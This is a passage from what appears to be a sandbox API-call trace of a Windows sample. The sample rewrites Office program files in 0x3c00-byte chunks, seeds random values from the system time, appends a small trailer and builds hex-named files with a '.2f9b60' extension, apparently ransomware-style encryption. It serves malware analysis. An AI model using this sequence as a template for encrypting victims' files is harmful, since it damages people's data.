[0208.748] RtlInitAnsiString (in: DestinationString=0x3bd4f908, SourceString="dde63f4fe0f321561716d10b6f6c239a9253" | out: DestinationString="dde63f4fe0f321561716d10b6f6c239a9253") [0208.748] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bd4f8d8, SourceString="dde63f4fe0f321561716d10b6f6c239a9253", AllocateDestinationString=1 | out: DestinationString="dde63f4fe0f321561716d10b6f6c239a9253") returned 0x0 [0208.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b8590f0 [0208.749] wcscat (in: _Dest=0x431a14a0, _Source="dde63f4fe" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\dde63f4fe") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\dde63f4fe" [0208.749] wcscat (in: _Dest=0x431a14a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\dde63f4fe.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\dde63f4fe.2f9b60" [0208.749] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\dde63f4fe.2f9b60", NtPathName=0x3bd4f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\dde63f4fe.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431a6ca0 Thread: id = 2185 os_tid = 0x162c [0140.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 0x20 [0144.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA", dwFileAttributes=0x20) returned 1 [0145.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b4c [0146.223] GetFileSizeEx (in: hFile=0x1b4c, lpFileSize=0x3c09f8c0 | out: lpFileSize=0x3c09f8c0*=186880) returned 1 [0146.223] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x2d9fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.223] ReadFile (in: hFile=0x1b4c, lpBuffer=0x3c09f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c09f888, lpOverlapped=0x0 | out: lpBuffer=0x3c09f840*, lpNumberOfBytesRead=0x3c09f888*=0x4, lpOverlapped=0x0) returned 1 [0146.226] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643b0 [0146.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202659d0 [0146.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0146.227] NtQuerySystemTime (in: CurrentTime=0x3c09f780 | out: CurrentTime=0x3c09f780*=132462177514678000) returned 0x0 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x4768923d [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x30a721a9 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x17a24d22 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x50bcb7df [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x4dd63392 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0xf9eaa18 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x14500a60 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x4bb0bd6f [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x6b56114a [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x95eb8b8 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x4a04673d [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x1067f330 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x1170b211 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x6f3944f7 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x750125b [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x5b10d257 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x1374ff4a [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x6c011567 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x1cddae70 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x2df92656 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x1721c2e2 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x447b4db1 [0146.227] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x74674b1a [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x41573f3a [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x43f7b27 [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x778cf5c6 [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x465923e1 [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x63325a9d [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x143fa1db [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x79331ec8 [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x8d16d72 [0146.228] RtlRandomEx (in: Seed=0x3c09f770 | out: Seed=0x3c09f770) returned 0x7a67d5a2 [0146.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264230 [0146.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0146.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643e0 [0146.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0146.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202641d0) returned 1 [0146.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643b0) returned 1 [0146.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42222140 [0146.239] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.239] ReadFile (in: hFile=0x1b4c, lpBuffer=0x42222140, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3c09f7e0, lpOverlapped=0x0 | out: lpBuffer=0x42222140*, lpNumberOfBytesRead=0x3c09f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0146.240] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0146.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643b0 [0146.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643b0) returned 1 [0146.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422389a0 [0146.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643b0 [0146.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0146.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202641d0) returned 1 [0146.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0146.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.242] WriteFile (hFile=0x1b4c, lpBuffer=0x422389a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3c09f7e0, lpOverlapped=0x0) [0176.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422389a0) returned 1 [0176.633] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.633] ReadFile (in: hFile=0x1b4c, lpBuffer=0x42222140, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3c09f7e0, lpOverlapped=0x0 | out: lpBuffer=0x42222140*, lpNumberOfBytesRead=0x3c09f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0176.663] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a90 [0176.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a90) returned 1 [0176.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c8970 [0176.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a90 [0176.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7970 [0176.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7970) returned 1 [0176.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.666] WriteFile (in: hFile=0x1b4c, lpBuffer=0x423c8970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3c09f7e0, lpOverlapped=0x0 | out: lpBuffer=0x423c8970*, lpNumberOfBytesWritten=0x3c09f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c8970) returned 1 [0194.307] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x29e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.307] ReadFile (in: hFile=0x1b4c, lpBuffer=0x42222140, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3c09f7e0, lpOverlapped=0x0 | out: lpBuffer=0x42222140*, lpNumberOfBytesRead=0x3c09f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.310] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x29e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a270 [0194.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a270) returned 1 [0194.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c8970 [0194.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a270 [0194.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a2a0 [0194.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a2a0) returned 1 [0194.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.315] WriteFile (in: hFile=0x1b4c, lpBuffer=0x423c8970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3c09f7e0, lpOverlapped=0x0 | out: lpBuffer=0x423c8970*, lpNumberOfBytesWritten=0x3c09f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0204.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c8970) returned 1 [0204.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15840 [0204.733] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.733] WriteFile (in: hFile=0x1b4c, lpBuffer=0x431f57a0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3c09f890, lpOverlapped=0x0 | out: lpBuffer=0x431f57a0*, lpNumberOfBytesWritten=0x3c09f890*=0x14a, lpOverlapped=0x0) returned 1 [0215.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e70 [0215.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbb60 [0215.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b910 [0215.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b910) returned 1 [0215.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0215.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b910 [0215.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b8e0 [0215.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b8e0) returned 1 [0215.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbb60) returned 1 [0215.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e70) returned 1 [0215.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e2f0 [0215.770] sprintf (in: _Dest=0x1ce5e2f0, _Format="%c%c" | out: _Dest="ab") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e2f2, _Format="%c%c" | out: _Dest="71") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e2f4, _Format="%c%c" | out: _Dest="cf") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e2f6, _Format="%c%c" | out: _Dest="cd") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e2f8, _Format="%c%c" | out: _Dest="8c") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e2fa, _Format="%c%c" | out: _Dest="23") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e2fc, _Format="%c%c" | out: _Dest="91") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e2fe, _Format="%c%c" | out: _Dest="4e") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e300, _Format="%c%c" | out: _Dest="c2") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e302, _Format="%c%c" | out: _Dest="7d") returned 2 [0215.770] sprintf (in: _Dest=0x1ce5e304, _Format="%c%c" | out: _Dest="7a") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e306, _Format="%c%c" | out: _Dest="b2") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e308, _Format="%c%c" | out: _Dest="b8") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e30a, _Format="%c%c" | out: _Dest="19") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e30c, _Format="%c%c" | out: _Dest="4d") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e30e, _Format="%c%c" | out: _Dest="69") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e310, _Format="%c%c" | out: _Dest="53") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e312, _Format="%c%c" | out: _Dest="ea") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e314, _Format="%c%c" | out: _Dest="1f") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e316, _Format="%c%c" | out: _Dest="81") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e318, _Format="%c%c" | out: _Dest="23") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e31a, _Format="%c%c" | out: _Dest="1d") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e31c, _Format="%c%c" | out: _Dest="75") returned 2 [0215.771] sprintf (in: _Dest=0x1ce5e31e, _Format="%c%c" | out: _Dest="f6") returned 2 [0215.771] RtlInitAnsiString (in: DestinationString=0x3c09f908, SourceString="ab71cfcd8c23914ec27d7ab2b8194d6953ea1f81231d75f6" | out: DestinationString="ab71cfcd8c23914ec27d7ab2b8194d6953ea1f81231d75f6") [0215.771] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c09f8d8, SourceString="ab71cfcd8c23914ec27d7ab2b8194d6953ea1f81231d75f6", AllocateDestinationString=1 | out: DestinationString="ab71cfcd8c23914ec27d7ab2b8194d6953ea1f81231d75f6") returned 0x0 [0215.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce15220 [0215.772] wcscat (in: _Dest=0x202a46e0, _Source="ab71cfcd8c23" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab71cfcd8c23") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab71cfcd8c23" [0215.772] wcscat (in: _Dest=0x202a46e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab71cfcd8c23.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab71cfcd8c23.2f9b60" [0215.772] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab71cfcd8c23.2f9b60", NtPathName=0x3c09f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab71cfcd8c23.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce16f50 Thread: id = 2186 os_tid = 0x1630 [0140.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 0x20 [0144.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS", dwFileAttributes=0x20) returned 1 [0145.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b28 [0146.152] GetFileSizeEx (in: hFile=0x1b28, lpFileSize=0x3b30fd60 | out: lpFileSize=0x3b30fd60*=610086) returned 1 [0146.152] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x94f22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.152] ReadFile (in: hFile=0x1b28, lpBuffer=0x3b30fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b30fd28, lpOverlapped=0x0 | out: lpBuffer=0x3b30fce0*, lpNumberOfBytesRead=0x3b30fd28*=0x4, lpOverlapped=0x0) returned 1 [0146.179] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264230 [0146.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265940 [0146.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643e0 [0146.180] NtQuerySystemTime (in: CurrentTime=0x3b30fc20 | out: CurrentTime=0x3b30fc20*=132462177514210000) returned 0x0 [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x1140aed9 [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x55de4940 [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x5c78b142 [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x5b86fe76 [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x4a21b418 [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x220dde0f [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x3414ec44 [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x486ceb9b [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x6eeb6695 [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0xa1a926d [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x5696935c [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x52bb120a [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x5090185c [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x3bb8c1dd [0146.180] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x46137a8f [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x125f4501 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x114f483b [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x326c0a09 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x7de003d3 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x42652ea7 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x1c9c0e0c [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x62798006 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x3f704d2f [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x3b170ad6 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x8c05c6e [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x5b9b88b1 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x5c79ea0f [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x198d0f4e [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x13869e5b [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x46ddacc2 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x915bd40 [0146.181] RtlRandomEx (in: Seed=0x3b30fc10 | out: Seed=0x3b30fc10) returned 0x7f040ce4 [0146.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264410 [0146.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0146.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0146.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0146.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643e0) returned 1 [0146.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264230) returned 1 [0146.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42234d90 [0146.194] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.194] ReadFile (in: hFile=0x1b28, lpBuffer=0x42234d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b30fc80, lpOverlapped=0x0 | out: lpBuffer=0x42234d90*, lpNumberOfBytesRead=0x3b30fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0146.202] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0146.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0146.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0146.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4221e530 [0146.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0146.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0146.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0146.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0146.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.204] WriteFile (in: hFile=0x1b28, lpBuffer=0x4221e530*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b30fc80, lpOverlapped=0x0 | out: lpBuffer=0x4221e530*, lpNumberOfBytesWritten=0x3b30fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0161.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221e530) returned 1 [0161.127] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.127] ReadFile (in: hFile=0x1b28, lpBuffer=0x42234d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b30fc80, lpOverlapped=0x0 | out: lpBuffer=0x42234d90*, lpNumberOfBytesRead=0x3b30fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0165.628] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 